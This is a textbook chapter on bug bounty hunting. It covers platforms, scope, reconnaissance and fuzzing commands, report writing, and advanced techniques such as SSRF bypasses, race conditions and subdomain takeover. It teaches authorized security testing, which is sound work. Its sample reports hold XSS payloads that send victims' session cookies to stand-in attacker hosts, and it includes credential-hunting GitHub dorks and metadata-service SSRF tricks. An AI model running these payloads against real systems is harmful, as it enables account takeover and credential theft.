Chapter 36: Bug Bounty Hunting

"The internet runs on bug bounties. Every major company that takes security seriously has a program, and the researchers who participate are doing some of the most important security work in the world." -- Katie Moussouris, founder of Luta Security

"I started bug bounty hunting when I was 16. By 19, I had earned over a million dollars. The biggest lesson? Persistence matters more than brilliance." -- Santiago Lopez

In 2019, a teenager from Argentina named Santiago Lopez became the first person to earn over $1 million through bug bounty hunting on HackerOne. He did not have a computer science degree. He did not attend an elite university. He taught himself to hack by watching YouTube videos and reading blog posts, then applied that knowledge methodically to find vulnerabilities that sophisticated security teams had missed. His story is remarkable, but it is not unique. Bug bounty hunting has created a global meritocracy where anyone with skills, determination, and an internet connection can contribute to making software more secure -- and earn significant rewards in the process.

Bug bounty programs represent a fundamental shift in how organizations approach security. Rather than relying solely on internal security teams or periodic penetration tests, companies invite the global security community to find and responsibly disclose vulnerabilities in exchange for monetary rewards. The model works because it provides continuous testing by diverse perspectives. No internal team, however talented, can match the breadth of techniques, tools, and viewpoints that thousands of independent researchers bring.

This chapter is your comprehensive guide to bug bounty hunting. Whether you are exploring bug bounties as a learning tool, a side income, or a full-time career, you will learn the ecosystem, develop a systematic methodology, master the art of report writing, and discover advanced techniques that separate casual testers from elite hunters. Every technique discussed is conducted within the explicit authorization granted by bug bounty programs -- making this one of the most accessible and legal ways to practice ethical hacking on real-world targets.

36.1 The Bug Bounty Ecosystem

Understanding the bug bounty landscape is essential before submitting your first report.

36.1.1 History and Evolution

The concept of paying for vulnerability reports dates back to 1995, when Netscape offered rewards for bugs in their Navigator browser. However, the modern bug bounty era began in 2010 with Google's Vulnerability Reward Program (VRP) and gained mainstream adoption when Facebook launched its program the same year.

Key milestones:

• 1995: Netscape launches first commercial bug bounty program
• 2004: Mozilla formalizes its bug bounty program with $500 per vulnerability
• 2010: Google VRP launches; Facebook launches its program
• 2012: HackerOne founded; Microsoft launches bounty programs
• 2013: Bugcrowd launches as a managed bug bounty platform
• 2016: Department of Defense launches "Hack the Pentagon" on HackerOne
• 2018: HackerOne hackers collectively surpass $100 million in earnings
• 2020: GitHub Security Lab launches; Apple expands its program significantly
• 2022: Google VRP surpasses $12 million paid in a single year
• 2023: HackerOne community surpasses $300 million in total earnings
• 2024: Intigriti, YesWeHack expand European presence; AI-specific bounties emerge
• 2025: Bug bounty programs become standard practice for nearly all major technology companies

36.1.2 Major Platforms

HackerOne

HackerOne is the largest bug bounty platform, connecting over 1 million registered hackers with organizations worldwide.

• Program types: Public (open to all), private (invitation only), and managed (with triage support)
• Key features: Signal and Impact scores for researcher reputation, mediation for disputes, structured taxonomy, retesting, and pentest-as-a-service
• Notable programs: U.S. Department of Defense, Uber, Twitter/X, PayPal, Shopify, GitHub
• Payout methods: Bank transfer, PayPal, Bitcoin, various local payment options

Bugcrowd

Bugcrowd differentiates through its managed approach and researcher community.

• Key features: Crowd-sourced penetration testing, attack surface management, VRT (Vulnerability Rating Taxonomy), managed triage
• Notable programs: Mastercard, T-Mobile, Tesla (historically), Atlassian
• Unique aspects: Researcher skill matching, ongoing programs with continuous engagement

Intigriti

European-headquartered platform with a strong focus on the European market.

• Key features: GDPR-compliant operations, European researcher pool, managed triage
• Notable programs: Major European banks, telecom providers, government agencies
• Unique aspects: Knowledge base, community events, European regulatory expertise

YesWeHack

French-based platform with growing global presence.

• Key features: DOJO training platform, European focus, strong government programs
• Notable programs: French military, European institutions

Independent Programs

Many organizations run their own bug bounty programs outside of platforms:

• Google VRP: One of the most generous programs, with rewards up to $151,515 for critical Android vulnerabilities
• Apple Security Research: Provides Security Research Devices (SRDs) and rewards up to $2 million for zero-click kernel code execution with persistence
• Microsoft MSRC: Multiple bounty programs covering Azure, Windows, Identity, and more
• Meta: Bug bounty program covering Facebook, Instagram, WhatsApp, and Oculus

36.1.3 Program Types and Models

Public programs: Open to any registered researcher on the platform. Higher competition but good for building reputation and learning. Many researchers start with public programs.

Private programs: Invitation-only, based on researcher reputation and skill. Less competition, often higher payouts, and sometimes more interesting targets. Getting invited requires building a strong track record on public programs.

Vulnerability Disclosure Programs (VDPs): Programs that accept vulnerability reports but do not offer monetary rewards. They provide legal safe harbor and recognition. Good for building reputation and practicing.

Managed programs: The platform provides triage services, handling initial assessment and validation before forwarding to the organization. Reduces noise for the organization but may introduce delays for researchers.

Live Hacking Events (LHEs): In-person or virtual events where selected researchers hack a target over a short period (typically 1-3 days). Higher payouts, networking opportunities, and intense collaboration. HackerOne's h1-events and Bugcrowd's LevelUp are well-known examples.

36.1.4 Economics of Bug Bounties

Typical payout ranges:

Earning distribution: Bug bounty earnings follow a power law distribution. A small percentage of researchers earn the majority of rewards. According to HackerOne's reports, the top 1% of researchers earn over $100,000 annually, while the median active researcher earns significantly less.

Factors affecting earnings: - Skill level and specialization - Time invested - Target selection strategy - Report quality - Consistency and persistence

36.2 Choosing Programs and Reading Scope

Selecting the right programs and understanding their scope is critical to success and to staying within legal boundaries.

36.2.1 Program Selection Strategy

For beginners: 1. Start with VDPs (no monetary reward but clear safe harbor) 2. Choose programs with broad scope (large attack surface) 3. Select programs with responsive teams and short resolution times 4. Look for programs that accept common vulnerability types you are comfortable finding 5. Avoid programs with very long lists of known issues or "won't fix" categories

For intermediate researchers: 1. Apply for private programs to reduce competition 2. Specialize in vulnerability types that command higher payouts 3. Target programs in industries you understand (healthcare, finance, e-commerce) 4. Look for recently launched programs (larger untested attack surface) 5. Participate in live hacking events when invited

For advanced researchers: 1. Target high-value programs (Apple, Google, Microsoft) where single findings can be worth $10,000+ 2. Focus on deep technical areas (browser exploitation, mobile, IoT) 3. Chain multiple vulnerabilities for maximum impact and payout 4. Develop custom tools for finding novel vulnerability classes 5. Consider research-focused bounties (variant analysis, new attack techniques)

36.2.2 Understanding Scope

The scope document is the most important document you will read for any program. It defines exactly what you can test, how you can test it, and what is off-limits.

In-scope assets typically include: - Specific domains and subdomains (e.g., *.example.com) - Mobile applications (iOS and Android) - APIs and API documentation - Specific IP ranges - Open source repositories

Out-of-scope assets typically include: - Third-party services and hosted content - Employee personal accounts - Physical locations - Non-production environments (unless explicitly included) - Specific subdomains or IP ranges

In-scope vulnerability types typically include: - Remote Code Execution (RCE) - SQL Injection - Authentication/Authorization bypass - Cross-Site Scripting (XSS) -- usually stored/reflected, sometimes DOM-based - Server-Side Request Forgery (SSRF) - Insecure Direct Object Reference (IDOR) - Information disclosure (sensitive data exposure)

Commonly excluded vulnerability types: - Self-XSS (XSS that only affects the attacker's own session) - Missing security headers without demonstrated impact - Clickjacking without sensitive action - Rate limiting without demonstrated impact - SPF/DKIM/DMARC configuration issues - Social engineering of employees - Physical attacks - Denial of service testing - Automated scanning without manual validation

36.2.3 Rules of Engagement

Beyond scope, programs define rules of engagement:

• Testing hours: Some programs restrict testing to specific hours
• Rate limiting: Maximum request rates to avoid disrupting services
• Data access: Do not access, modify, or delete other users' data. Stop testing once you have proven the vulnerability
• Reporting timeline: How long you have to report after discovery
• Disclosure policy: When and how you can publicly discuss the vulnerability
• Legal safe harbor: The program's commitment not to pursue legal action for good-faith testing

MedSecure Running Example: MedSecure launches a bug bounty program on HackerOne. The scope includes their patient portal (portal.medsecure.com), API (api.medsecure.com), and mobile apps. Explicitly out of scope are the EHR system, any production patient data, and the internal network. The program pays $500-$10,000 based on severity. As a bug bounty hunter, you read the scope carefully and note that *.medsecure.com is in scope, which means you can hunt for forgotten subdomains that may expose internal services.

36.3 Methodology for Bug Bounty Hunting

A systematic methodology separates effective bug bounty hunters from those who hack randomly and find little.

36.3.1 Phase 1: Reconnaissance

Reconnaissance is the foundation of bug bounty hunting. More thorough recon leads to more targets, which leads to more vulnerabilities.

Subdomain enumeration:

# Passive subdomain discovery
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt

# Combine and deduplicate
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt

# DNS resolution and HTTP probing
cat all-subs.txt | httpx -status-code -title -tech-detect -o live-hosts.txt

# Screenshot for visual review
cat all-subs.txt | httpx -screenshot -screenshot-timeout 10

Historical data gathering:

# Gather URLs from web archives and crawlers
echo target.com | gau --threads 5 > historical-urls.txt
echo target.com | waybackurls > wayback-urls.txt

# Extract interesting endpoints
cat historical-urls.txt | grep -iE '\.(php|asp|aspx|jsp|json|xml|config|env|sql|bak|old|txt)' | sort -u > interesting-urls.txt

# Find JavaScript files for endpoint discovery
cat historical-urls.txt | grep -iE '\.js$' | sort -u > js-files.txt

Port scanning (where permitted):

# Scan for common web ports
nmap -sT -Pn -p 80,443,8080,8443,8000,3000,5000,9090 -iL all-subs.txt -oA portscan

# Service version detection on discovered ports
nmap -sT -sV -p <discovered_ports> <target> -oA service-scan

Technology identification:

# Identify technologies
httpx -l live-hosts.txt -tech-detect -json -o tech.json

# Check for common frameworks
nuclei -l live-hosts.txt -t technologies/ -o tech-results.txt

36.3.2 Phase 2: Content Discovery

After identifying live hosts, discover hidden content:

Directory and file fuzzing:

# Directory fuzzing with ffuf
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt \
     -mc 200,301,302,403 -fc 404 -o fuzz-results.json

# API endpoint discovery
ffuf -u https://api.target.com/FUZZ -w /path/to/api-wordlist.txt \
     -mc 200,301,302,403,405 -o api-fuzz.json

# Parameter fuzzing
ffuf -u "https://target.com/page?FUZZ=test" \
     -w /path/to/params.txt -mc 200 -fs <baseline_size>

JavaScript analysis:

# Download and analyze JavaScript files for endpoints, secrets
# Tools: LinkFinder, JSFinder, SecretFinder
python3 linkfinder.py -i https://target.com/main.js -o cli

# Manual grep for sensitive patterns
grep -rn "api_key\|secret\|password\|token\|admin\|endpoint\|amazonaws" js-files/

GitHub dorking:

# Search for leaked credentials and configuration
org:targetcompany password
org:targetcompany secret
org:targetcompany api_key
org:targetcompany AWS_ACCESS_KEY
org:targetcompany jdbc:
"target.com" password
"target.com" BEGIN RSA PRIVATE KEY

36.3.3 Phase 3: Vulnerability Discovery

With a comprehensive map of the attack surface, systematically test for vulnerabilities:

Authentication and authorization testing: - Test login for credential stuffing resistance - Check for default credentials on non-production systems - Test password reset flows for account takeover - Check IDOR by manipulating object references (user IDs, document IDs, order IDs) - Test horizontal and vertical privilege escalation - Check for JWT vulnerabilities (algorithm confusion, missing signature verification)

Injection testing: - Test all input fields for SQL injection - Check for Server-Side Template Injection (SSTI) - Test for command injection in file upload, API parameters - Check for LDAP injection in authentication - Test for XSS in all reflected and stored input points - Check for SSRF in URL input parameters, webhooks, integrations

Business logic testing: - Test payment flows for price manipulation - Check coupon/discount codes for abuse - Test rate limiting on sensitive endpoints - Check for race conditions in concurrent requests - Test file upload for type bypass, path traversal - Check for information disclosure in error messages, API responses

Configuration and infrastructure: - Check for exposed admin panels, debug endpoints - Test for misconfigured CORS policies - Check for open redirects - Test for subdomain takeover on abandoned subdomains - Check cloud storage permissions (S3, Azure Blob, GCS) - Test for exposed .git, .svn, .env files

36.3.4 Phase 4: Exploitation and Impact Demonstration

Finding a vulnerability is only half the work. Demonstrating its impact determines your payout:

Impact maximization principles:

1. Show, don't tell: Provide a clear proof of concept (PoC) that demonstrates the vulnerability
2. Demonstrate real-world impact: Go beyond "I can inject SQL" to "I can extract all user credentials"
3. Chain vulnerabilities: Combine low-severity findings into high-impact attack chains
4. Consider business context: Frame impact in terms the organization cares about (data breach, financial loss, regulatory violation)
5. Provide reproduction steps: Clear, numbered steps that anyone can follow

Example of impact escalation:

Initial finding: Reflected XSS on subdomain
  → Low impact: XSS on a marketing page

Escalated: XSS on subdomain + CORS misconfiguration on main domain
  → The subdomain is trusted by the main domain's CORS policy
  → XSS on subdomain can make authenticated API requests to main domain
  → Full account takeover via XSS → Cross-origin API request → Session theft
  → High impact: Account takeover chain

36.3.5 Automation Strategy

Effective hunters balance automation and manual testing:

What to automate: - Subdomain enumeration and monitoring - Content discovery and fuzzing - Technology fingerprinting - Known CVE scanning with Nuclei - Monitoring for new subdomains or assets

What to do manually: - Business logic testing - Authentication and authorization testing - Complex injection testing - Vulnerability chaining - Impact analysis and PoC development

ShopStack Running Example: While hunting on ShopStack's public bug bounty program, you run automated recon and discover a staging subdomain (staging-api.shopstack.com) that was not explicitly excluded from scope. The staging API uses the same database as production but has debug mode enabled. Through the debug error pages, you find database connection strings and internal API documentation. The API documentation reveals an admin endpoint that allows modifying order prices. You craft a PoC showing how an attacker could set any order's total to $0.01. You report this as a critical finding: unauthenticated access to staging environment leading to production database manipulation. ShopStack awards $8,500.

36.4 Writing Effective Bug Reports

Report quality directly affects how your submissions are received, how quickly they are resolved, and how much you are paid. Many valid vulnerabilities are rejected or downgraded due to poor reporting.

36.4.1 Report Structure

A well-structured bug report includes:

Title: Clear, specific, and descriptive. Include the vulnerability type and affected asset.

• Bad: "XSS found"
• Good: "Stored XSS via user profile bio field on app.target.com allows session hijacking"

Severity Assessment: Use CVSS or the program's severity taxonomy. Justify your severity rating.

Description: Clear explanation of the vulnerability, what causes it, and why it matters.

Environment: Browser, OS, application version, any specific conditions required.

Steps to Reproduce: Numbered, sequential steps that anyone can follow to reproduce the vulnerability. Include every detail -- request headers, parameters, cookies.

1. Navigate to https://app.target.com/profile/edit
2. In the "Bio" field, enter the following payload:
   <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
3. Click "Save Profile"
4. Navigate to https://app.target.com/user/12345 (the public profile)
5. Observe that the JavaScript executes, sending the viewer's session cookie to the attacker's server

Proof of Concept: Screenshots, video recordings, HTTP request/response pairs, or scripts that demonstrate the vulnerability. Annotate screenshots to highlight the relevant details.

Impact Assessment: Explain the real-world impact. What can an attacker actually achieve? What data is at risk? What business processes could be disrupted?

Remediation Recommendations: Suggest how to fix the vulnerability. This is optional but appreciated and demonstrates expertise.

36.4.2 Common Report Mistakes

Mistakes that get reports rejected:

1. Insufficient detail: "I found XSS on your site" without steps to reproduce
2. Theoretical vulnerabilities: Describing what could happen without demonstrating it
3. Out-of-scope findings: Reporting vulnerabilities on assets not covered by the program
4. Duplicate submissions: Reporting known issues or recently reported vulnerabilities
5. Automated scanner output: Submitting raw tool output without manual validation
6. Missing impact: Finding a vulnerability without explaining why it matters
7. Excessive claims: Overstating severity to try to get a higher payout
8. Chained without evidence: Claiming a vulnerability chain without demonstrating each link

Mistakes that reduce payouts:

1. Poor reproduction steps: Requiring triage analysts to guess or experiment
2. No PoC: Making the team validate the vulnerability themselves
3. Generic impact statements: "This could allow an attacker to..." without specifics
4. No remediation suggestions: Missing an opportunity to demonstrate expertise
5. Unprofessional communication: Demanding higher payouts, being aggressive in comments

36.4.3 Communication with Triage Teams

Professional communication guidelines:

• Be patient. Triage teams handle hundreds of reports. Response times vary.
• Be respectful. Even if you disagree with a severity assessment, communicate professionally.
• Provide additional context when requested promptly and thoroughly.
• If a report is marked as duplicate, accept it gracefully. Ask when the original was reported if possible.
• Use the mediation process if you genuinely believe a report has been mishandled. Platforms have dispute resolution mechanisms.
• Build relationships. Consistent, high-quality reporting builds trust with triage teams and can lead to private program invitations.

36.4.4 Sample Report

## Title
Stored XSS in Product Review Feature Allows Session Hijacking on shop.target.com

## Severity
High (CVSS 8.1)

## Description
The product review feature on shop.target.com does not properly sanitize HTML
in the review body field. An attacker can submit a review containing malicious
JavaScript that executes in the browser of any user viewing the product page.
Because the product pages are on the same origin as the authenticated shopping
experience, the XSS payload can access session cookies (which lack the HttpOnly
flag) and send them to an attacker-controlled server, enabling full account
takeover.

## Steps to Reproduce
1. Create an account on shop.target.com
2. Navigate to any product page (e.g., https://shop.target.com/product/12345)
3. Click "Write a Review"
4. In the review body, enter:
   Great product!<script>new Image().src='https://attacker.example/c='+document.cookie</script>
5. Submit the review
6. Wait for review moderation (reviews are auto-approved after 24 hours)
7. Navigate to the product page as a different authenticated user
8. Observe in browser DevTools Network tab that a request is made to
   attacker.example with the user's session cookie

## Impact
- Any authenticated user who views a product with a malicious review has their
  session cookie stolen
- The attacker can use the stolen session cookie to fully impersonate the victim
- Popular products receive thousands of views per day, enabling mass account
  compromise
- Compromised accounts can be used for fraudulent purchases, PII theft, and
  stored payment method abuse

## Remediation
1. Implement HTML entity encoding for all user-submitted content rendered on
   product pages
2. Add the HttpOnly flag to session cookies to prevent JavaScript access
3. Implement Content Security Policy headers to restrict script execution
4. Consider implementing a Content-Security-Policy with nonce-based script
   allowlisting

36.5 Advanced Techniques

Once you have mastered the fundamentals, advanced techniques allow you to find higher-impact vulnerabilities that most researchers miss.

36.5.1 Vulnerability Chaining

The most impactful bug bounty findings combine multiple lower-severity vulnerabilities into high-severity attack chains:

Common chain patterns:

1. Open Redirect + OAuth misconfiguration = Account Takeover - Find an open redirect on the target domain - Use it as the OAuth redirect_uri to steal authorization codes - Exchange the stolen code for an access token

2. SSRF + Cloud metadata = Remote Code Execution - Find an SSRF vulnerability - Access the cloud provider's metadata service (169.254.169.254) - Retrieve IAM role credentials - Use the credentials to access cloud resources (S3, Lambda, EC2)

3. XSS + CSRF + Missing Authorization = Privilege Escalation - Find a stored XSS on a page visible to admins - Use the XSS to trigger a CSRF request to the admin panel - The CSRF request creates a new admin account controlled by the attacker

4. Information Disclosure + IDOR = Data Breach - Find an endpoint that leaks sequential user IDs - Use the IDs with an IDOR vulnerability to access other users' data - Demonstrate mass data extraction

36.5.2 Race Conditions

Race conditions are often overlooked by other researchers, making them a profitable focus area:

Common race condition targets: - Coupon/discount code redemption (apply same code multiple times) - Account balance operations (withdraw simultaneously from multiple sessions) - Vote/like systems (vote multiple times) - Invitation/referral systems (claim same referral bonus multiple times) - File upload validation (bypass file type check via timing)

Testing methodology:

# Using Python requests with threading for race condition testing
import threading
import requests

def send_request(session, url, data):
    response = session.post(url, json=data)
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Prepare identical requests
url = "https://target.com/api/redeem-coupon"
data = {"coupon_code": "SAVE50", "order_id": "12345"}
session = requests.Session()
session.cookies.set("session", "valid_session_token")

# Send multiple requests simultaneously
threads = []
for i in range(20):
    t = threading.Thread(target=send_request, args=(session, url, data))
    threads.append(t)

for t in threads:
    t.start()

for t in threads:
    t.join()

36.5.3 Server-Side Request Forgery (SSRF) Deep Dive

SSRF has become one of the most impactful vulnerability classes in cloud-hosted applications:

Common SSRF injection points: - URL preview/unfurling features - Webhook configurations - PDF generation from URLs - Image import/upload from URL - RSS feed parsing - API integrations that accept URLs

Bypass techniques:

# IP address obfuscation
http://127.0.0.1          → http://0x7f000001
http://127.0.0.1          → http://2130706433 (decimal)
http://127.0.0.1          → http://0177.0.0.1 (octal)
http://127.0.0.1          → http://127.1 (short form)
http://169.254.169.254    → http://[::ffff:a9fe:a9fe] (IPv6)

# DNS rebinding
# Register a domain that alternates between your IP and 127.0.0.1
# First resolution: your server (passes validation)
# Second resolution: 127.0.0.1 (accesses internal service)

# Redirect-based bypass
# Host a page on your server that redirects to the internal target
http://your-server.com/redirect → 302 → http://169.254.169.254/latest/meta-data/

36.5.4 Subdomain Takeover

Subdomain takeover occurs when a subdomain points to a service that is no longer active, allowing an attacker to claim the service and serve content on the subdomain:

Vulnerable configurations: - CNAME pointing to unregistered S3 bucket - CNAME pointing to deprovisioned Azure resource - CNAME pointing to unclaimed Heroku app - CNAME pointing to removed GitHub Pages site - CNAME pointing to expired Shopify store

Detection:

# Check for dangling DNS records
dig staging.target.com CNAME
# If CNAME points to something.s3.amazonaws.com and the bucket doesn't exist:
# "NoSuchBucket" response = potential takeover

# Automated detection
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v

# nuclei template for subdomain takeover
nuclei -l subdomains.txt -t takeovers/ -o takeover-results.txt

Impact: An attacker who takes over a subdomain can serve arbitrary content, steal cookies set on the parent domain (if cookie scope allows), and intercept authenticated traffic.

36.5.5 API Security Testing

APIs are increasingly the most fruitful targets for bug bounty researchers:

API-specific techniques: 1. BOLA/IDOR: Change object IDs in API requests to access other users' resources 2. BFLA: Access admin API endpoints with regular user tokens 3. Mass assignment: Send additional parameters that the API might process (e.g., "role": "admin") 4. Rate limiting bypass: Test for inconsistent rate limiting across API versions or endpoints 5. GraphQL abuse: Introspection queries, batch queries, nested query attacks 6. Version rollback: Access older API versions that may lack security fixes

# GraphQL introspection
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}"}'

# API version testing
curl https://api.target.com/v1/users/me  # Current version
curl https://api.target.com/v0/users/me  # Older version might lack auth checks

36.6 Building a Bug Bounty Career

Bug bounty hunting can be a hobby, a side income, or a full-time career. This section provides guidance for building a sustainable practice.

36.6.1 Getting Started

Learning path for new hunters:

1. Build technical foundations: - Complete OWASP WebGoat and Juice Shop - Practice on Hack The Box, TryHackMe, and PortSwigger Web Security Academy - Study the OWASP Top 10 and API Security Top 10

2. Learn from others: - Read disclosed bug bounty reports on HackerOne Hacktivity - Follow top researchers on social media - Read bug bounty write-ups and blog posts - Watch conference talks (NahamCon, DEF CON Bug Bounty Village) - Join communities (Bug Bounty Forum, Discord servers, Reddit r/bugbounty)

3. Start hunting: - Begin with VDPs (no monetary reward but low pressure) - Move to public programs with broad scope - Focus on one vulnerability type until you can find it consistently - Submit reports even for low-severity findings to build reputation

4. Develop your specialty: - Choose a focus area (web, mobile, API, cloud, IoT) - Build deep expertise in 2-3 vulnerability types - Develop custom tools for your workflow - Contribute to the community (blog posts, tools, talks)

36.6.2 Time Management and Workflow

Efficient hunting workflow:

1. Scheduled recon (weekly): Run automated recon against all your target programs. Monitor for new assets, subdomains, and technology changes.
2. Deep dives (daily): Spend focused time on 1-2 targets, applying manual testing methodology.
3. Report writing (same day): Write and submit reports promptly. Delay reduces the chance of duplicates.
4. Learning (weekly): Dedicate time to reading write-ups, learning new techniques, and practicing in labs.
5. Tool development (monthly): Build and improve tools that make your workflow more efficient.

Common pitfalls: - Spending too long on a single target without results (set time limits) - Chasing duplicates on heavily tested programs - Neglecting report quality in favor of volume - Not tracking your time and earnings (you need to know your hourly rate) - Burnout from unsustainable hunting schedules

36.6.3 Financial Considerations

For full-time hunters: - Bug bounty income is variable and unpredictable - Build a financial buffer (6+ months of expenses) before going full-time - Track all income and expenses for tax purposes - Consider forming a business entity for tax optimization - Maintain health insurance independently - Diversify income sources (bug bounties + consulting + training)

Tax considerations: - Bug bounty income is taxable in most jurisdictions - Platform payments may or may not include tax withholding - International researchers may face additional tax complexity - Keep detailed records of expenses (tools, equipment, training, internet) - Consult a tax professional familiar with freelance/contract work

36.6.4 Career Transitions

Bug bounty skills open doors to many security careers:

• Penetration testing: Direct application of bug bounty methodology
• Application security engineer: Helping organizations build secure software
• Security consulting: Providing security assessment services to organizations
• Security research: Full-time vulnerability research at labs or companies
• Bug bounty triage: Working for platforms to review and validate submissions
• DevSecOps: Integrating security into development pipelines
• CISO/Security leadership: Bug bounty experience provides deep technical understanding

Student Home Lab Exercise: Set up your bug bounty hunting environment:

1. Install and configure Burp Suite Community Edition
2. Set up a recon automation pipeline: - Subfinder for subdomain discovery - httpx for HTTP probing - Nuclei for automated vulnerability scanning
3. Create accounts on HackerOne and Bugcrowd
4. Complete PortSwigger Web Security Academy labs for SQL injection, XSS, and SSRF
5. Select three public programs and run recon against them
6. Practice writing a bug report for a vulnerability you find in a CTF or lab environment

Blue Team Perspective: If your organization runs a bug bounty program, treat it as a critical security function. Triage reports promptly (within 48 hours). Pay researchers fairly and on time. Fix reported vulnerabilities quickly. Engage with the research community respectfully. A well-run bug bounty program is one of the most cost-effective security investments you can make. A poorly run one damages your reputation and alienates the researchers who could be your strongest allies.

36.7 Legal and Ethical Considerations

Bug bounty hunting operates in a complex legal landscape that every researcher must understand.

36.7.1 Legal Frameworks

United States: - The Computer Fraud and Abuse Act (CFAA) criminalizes unauthorized computer access - Bug bounty programs provide explicit authorization, creating a legal safe harbor - The Department of Justice issued a 2022 policy stating that good-faith security research should not be prosecuted under the CFAA - However, exceeding the authorized scope could still result in legal risk

European Union: - Laws vary by member state - Some countries (Netherlands, France, Belgium) have explicit protections for ethical hackers - The EU Cybersecurity Act encourages coordinated vulnerability disclosure - GDPR implications if you access personal data during testing

Other jurisdictions: - Laws vary widely. Research the laws of both your country and the target's country - Some countries have broad computer crime laws that may not account for authorized testing - International bug bounty hunting adds jurisdictional complexity

36.7.2 Ethical Guidelines

Core ethical principles for bug bounty hunters:

1. Respect authorization: Only test within the defined scope
2. Minimize harm: Stop testing once you have proven a vulnerability. Do not access more data than necessary for the PoC.
3. Protect data: If you encounter sensitive data, do not store, share, or exfiltrate it. Report it and delete any local copies.
4. Disclose responsibly: Follow the program's disclosure guidelines. Do not publicly disclose before the vendor has fixed the issue (unless the disclosure policy allows).
5. Be honest: Report findings accurately. Do not exaggerate severity or fabricate evidence.
6. Respect privacy: Do not target individual users. Do not access other people's accounts or data beyond what is necessary for the PoC.

36.7.3 Handling Sensitive Data

During bug bounty hunting, you may encounter sensitive data such as personal information, credentials, or financial data:

Best practices: - Take a screenshot showing the data exists, but redact sensitive fields - Do not download or store personal data - Report the exposure immediately - Delete any local artifacts after report submission - If you accidentally access a large volume of data, stop immediately and report - Some programs provide guidance on data handling -- follow it

36.8 The Future of Bug Bounty Hunting

The bug bounty industry continues to evolve with new challenges and opportunities.

36.8.1 Emerging Trends

AI-assisted hunting: AI tools are beginning to assist researchers with recon, pattern recognition, and vulnerability identification. However, manual expertise remains essential for finding complex, logic-based vulnerabilities.

AI as a target: As organizations deploy AI and ML systems, new vulnerability classes emerge: prompt injection, model extraction, training data poisoning. Bug bounty programs are beginning to include AI systems in scope.

Cloud-native targets: Modern applications run on complex cloud infrastructure. Bug bounty hunters who understand AWS, Azure, and GCP security models find higher-impact vulnerabilities.

API-first architecture: As applications become API-first, API security testing skills become increasingly valuable. GraphQL, gRPC, and WebSocket-based APIs present new attack surfaces.

Regulatory influence: Government bug bounty programs (Hack the Pentagon, EU programs) are expanding. Regulatory requirements for vulnerability disclosure are growing worldwide.

36.8.2 Building Community

The bug bounty community is one of the most collaborative in cybersecurity:

• Mentorship programs: Platforms and community groups offer mentorship for new hunters
• Live hacking events: Bring researchers together for intensive collaborative hacking
• Open-source tools: The community develops and shares tools freely
• Write-ups and blogs: Researchers share their findings and methodologies
• Diversity initiatives: Programs to bring underrepresented groups into bug bounty hunting

Summary

This chapter provided a comprehensive guide to bug bounty hunting. We explored the bug bounty ecosystem, from major platforms like HackerOne and Bugcrowd to independent programs run by tech giants. We covered the critical skill of reading and understanding program scope, and the legal and ethical frameworks that govern this work.

We developed a systematic methodology for bug bounty hunting, covering reconnaissance, content discovery, vulnerability identification, and impact demonstration. We examined the art of writing effective bug reports, with detailed guidance on structure, common mistakes, and professional communication.

Advanced techniques including vulnerability chaining, race conditions, SSRF exploitation, subdomain takeover, and API security testing were explored as paths to finding higher-impact bugs. We discussed building a sustainable bug bounty career, covering financial considerations, time management, and career transitions.

The chapter concluded with legal and ethical considerations that every researcher must understand, and a look at emerging trends including AI-assisted hunting and cloud-native targets. Bug bounty hunting is both a powerful learning tool and a viable career path. The skills you develop as a bug bounty hunter -- systematic thinking, persistence, creative problem-solving, and clear communication -- will serve you throughout your cybersecurity career.

The next chapter covers Incident Response and Digital Forensics, where we shift perspective from finding vulnerabilities to investigating and responding to their exploitation.